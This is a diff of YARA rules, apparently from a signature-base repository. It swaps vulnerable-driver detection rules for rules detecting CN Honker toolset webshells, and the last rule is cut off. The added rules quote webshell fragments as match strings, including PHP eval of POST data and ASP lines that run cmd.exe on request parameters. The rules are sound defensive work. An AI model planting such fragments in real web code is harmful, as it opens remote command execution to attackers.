-rule SIGNATURE_BASE_PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panioxsys_Paniolibrary_6B83 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Picloaked_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIOx64.sys"
-		author = "Florian Roth"
-		id = "c5eec4c9-0210-5e0e-b819-96a6943f270d"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file 1.gif"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2ff44c4a-ed97-5635-9926-8d54a8364fab"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L957-L977"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6b830ea0db6546a044c9900d3f335e7820c2a80e147b0751641899d1a5aa8f74"
-		logic_hash = "d6d95fe0d738012ca0643f478c59accd2d1e47742a502f5fea65040e59e9f42a"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L283-L299"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3eab1798cbc9ab3b2c67d3da7b418d07e775db70"
+		logic_hash = "a816ac9e98b7c5208f075ffcb9a6525016d6a5c468005d78ecab90d651423705"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
+		$s0 = "<?php eval($_POST[" ascii
+		$s1 = ";<%execute(request(" ascii
+		$s3 = "GIF89a" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <6KB and 2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_2A6D : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Assembly : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "85b7f3f1-6324-543f-8855-8cb13096b367"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L980-L1002"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2a6db9facf9e13d35c37dd468be04bae5f70c6127a9aee76daebddbdec95d486"
-		hash = "1e16a01ef44e4c56e87abfbe03b2989b0391b172c3ec162783ad640be65ab961"
-		hash = "aebcbfca180e372a048b682a4859fd520c98b5b63f6e3a627c626cb35adc0399"
-		logic_hash = "81287d89ca576746e6a896bd07fbe5170da2360d614164940621d709c439ca8e"
-		score = 40
+		description = "Webshell from CN Honker Pentest Toolset - file assembly.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7639e81d-fe21-5a12-9a20-fe894eefef73"
+		date = "2015-06-23"
+		modified = "2023-12-05"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L301-L315"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2bcb4d22758b20df6b9135d3fb3c8f35a9d9028e"
+		logic_hash = "34dc47b2f91a15a62175f3cab88d5ff24d2a3aa62f74fb9e43a4aaae96ced999"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310032002000430050005500490044 }
+		$s0 = "response.write oScriptlhn.exec(\"cmd.exe /c\" & request(\"c\")).stdout.readall" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_82FB : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php8 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "db7c877e-4b76-5b66-8a4f-a33cb7c76d5a"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php8.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8b25b7f3-b94e-5887-b102-b52d340a4316"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1005-L1025"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "82fbcb371d53b8a76a25fbbafaae31147c0d1f6b9f26b3ea45262c2267386989"
-		logic_hash = "38df982e74818094d0aa508b6b0ad94b885e6554760b4678de833fcc86e8bb13"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L317-L334"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b7b49f1d6645865691eccd025e140c521ff01cce"
+		logic_hash = "435ceb72c082f702284c464979a907a59a42bb4aa07311f9b2da1a9831efac11"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$s0 = "<a href=\"http://hi.baidu.com/ca3tie1/home\" target=\"_blank\">Ca3tie1's Blog</a" ascii
+		$s1 = "function startfile($path = 'dodo.zip')" fullword ascii
+		$s3 = "<form name=\"myform\" method=\"post\" action=\"\">" fullword ascii
+		$s5 = "$_REQUEST[zipname] = \"dodozip.zip\"; " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <25KB and 2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Entechtaiwan_Seasys_Softenginex_6CB5 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Tuoku_Script_Xx : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Se64a.sys"
-		author = "Florian Roth"
-		id = "c6298a6f-761c-5e78-b97c-9713b29b0e00"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file xx.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "72a04950-b82d-516f-a376-5253b7de1158"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1028-L1048"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6cb51ae871fbd5d07c5aad6ff8eea43d34063089528603ca9ceb8b4f52f68ddc"
-		logic_hash = "aa425e95a0b920bf68c0221d8fb1cc16f00755b626f496b758cf50d26949c27b"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L336-L352"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2f39f1d9846ae72fc673f9166536dc21d8f396aa"
+		logic_hash = "67c542f172fd1b97fbee4697fd42bab9486e3d779ce62993617e5a5205bd75d4"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006e005400650063006800200073006f006600740045006e00670069006e006500200078003600340020006b00650072006e0065006c002d006d006f006400650020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006e0054006500630068002000540061006900770061006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065003600340061002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0073006f006600740045006e00670069006e0065002d007800360034 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065003600340061002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200045006e0054006500630068002000540061006900770061006e002c00200032003000300034002d0032003000300036002e }
+		$s0 = "$mysql.=\"insert into `$table`($keys) values($vals);\\r\\n\";" fullword ascii
+		$s2 = "$mysql_link=@mysql_connect($mysql_servername , $mysql_username , $mysql_password" ascii
+		$s16 = "mysql_query(\"SET NAMES gbk\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <2KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0B54 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_JSPMSSQL : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "87caf882-a59a-55ca-89ce-a2c2115a1e50"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file JSPMSSQL.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "061c1e53-edd0-5838-8d0f-6fb8f4fa078a"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1051-L1071"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0b542e47248611a1895018ec4f4033ea53464f259c74eb014d018b19ad818917"
-		logic_hash = "264c22a6b54b47962561ea3d8400aab606dd2d28f5d288ba4777ff2ca290c38e"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L354-L369"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c6b4faecd743d151fe0a4634e37c9a5f6533655f"
+		logic_hash = "c08e69345cb09e41840a81dcd8a015f9e1be93d570b64c310be74631e5314e2f"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s1 = "<form action=\"?action=operator&cmd=execute\"" fullword ascii
+		$s2 = "String sql = request.getParameter(\"sqlcmd\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		filesize <35KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1273 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Injection_Transit_Jmpost : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "323e0a63-c74c-5d9c-b3af-c64d2bceb724"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file jmPost.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "892f747e-6065-5baf-b928-8d69d8792483"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1074-L1094"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1273b74c3c1553eaa92e844fbd51f716356cc19cf77c2c780d4899ec7738fbd1"
-		logic_hash = "1bf31b51302ade1b65e6c24a0dfcc6e144a2f0104e687cef4a14e6307c27c9e1"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L371-L386"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
+		logic_hash = "6c7f52cf7ff6df9867ea2c46cd8f40ef0e077d4e1d9033cde0649a209bffe21b"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
+		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii
+		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		filesize <9KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3854 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Web_Asp : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "2c945052-bb7b-52be-9c11-18eedac5a28e"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file web.asp.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "67e03591-770a-5b32-9579-c899894740fc"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1097-L1118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "385485e643aa611e97ceae6590c6a8c47155886123dbb9de1e704d0d1624d039"
-		hash = "b773511fdb2e370dec042530910a905472fcc2558eb108b246fd3200171b04d3"
-		logic_hash = "0cdfef6284465ea9f5509cb4e0ad6efb531d60150fb355a388f8152b322e3da9"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L388-L403"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aebf6530e89af2ad332062c6aae4a8ca91517c76"
+		logic_hash = "5d2d7e6b9340ee4fd845ff05c99526c919214974b1a0def66492fe3cd4a75fe9"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000360035 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "<FORM method=post target=_blank>ShellUrl: <INPUT " fullword ascii
+		$s1 = "\" >[Copy code]</a> 4ngr7&nbsp; &nbsp;</td>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		filesize <13KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_8FE9 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Wshell_Asp : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "45ac5fe9-25e2-5ee9-a410-95d19ec75e33"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file wshell-asp.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "294f0d00-7102-553d-92e2-c0a0e017385c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1121-L1138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8fe9828bea83adc8b1429394db7a556a17f79846ad0bfb7f242084a5c96edf2a"
-		logic_hash = "f293cb0a8bbc710428a7a4ae582f9d6ed60954afeb84efe8b74da38ff41732c1"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L405-L421"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4a0afdf5a45a759c14e99eb5315964368ca53e9c"
+		logic_hash = "f3c4af85e4798d3a809d8edd9cc46d1df44453f14ed050b002fe789da4d6096f"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003100310035 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "file1.Write(\"<%response.clear:execute request(\\\"root\\\"):response.End%>\");" fullword ascii
+		$s2 = "hello word !  " fullword ascii
+		$s3 = "root.asp " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		filesize <5KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpuzsys_Windowsrcodenamelonghornddkdriver_4932 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp404 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "6fa00211-cb55-5870-92ec-18a6e2c7eb89"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file asp404.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4125bb40-3f5c-53f5-b906-54fa77b119f5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1141-L1164"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "49329fa09f584d1960b09c1b15df18c0bc1c4fdb90bf48b6b5703e872040b668"
-		hash = "2ef7df384e93951893b65500dac6ee09da6b8fe9128326caad41b8be4da49a1e"
-		hash = "dbb457ae1bd07a945a1466ce4a206c625e590aee3922fa7d86fbe956beccfc98"
-		hash = "8e5aef7c66c0e92dfc037ee29ade1c8484b8d7fadebdcf521d2763b1d8215126"
-		logic_hash = "683d1c1b912190afc4933e285a335257039356935354a851faa4cdc31f59a144"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L423-L439"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bed51971288aeabba6dabbfb80d2843ec0c4ebf6"
+		logic_hash = "c84be2e561a08317be11cdb0fe103f8ad182a64d8cd1bf987163ebbeabe20f00"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "temp1 = Len(folderspec) - Len(server.MapPath(\"./\")) -1" fullword ascii
+		$s1 = "<form name=\"form1\" method=\"post\" action=\"<%= url%>?action=chklogin\">" fullword ascii
+		$s2 = "<td>&nbsp;<a href=\"<%=tempurl+f1.name%>\" target=\"_blank\"><%=f1.name%></a></t" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
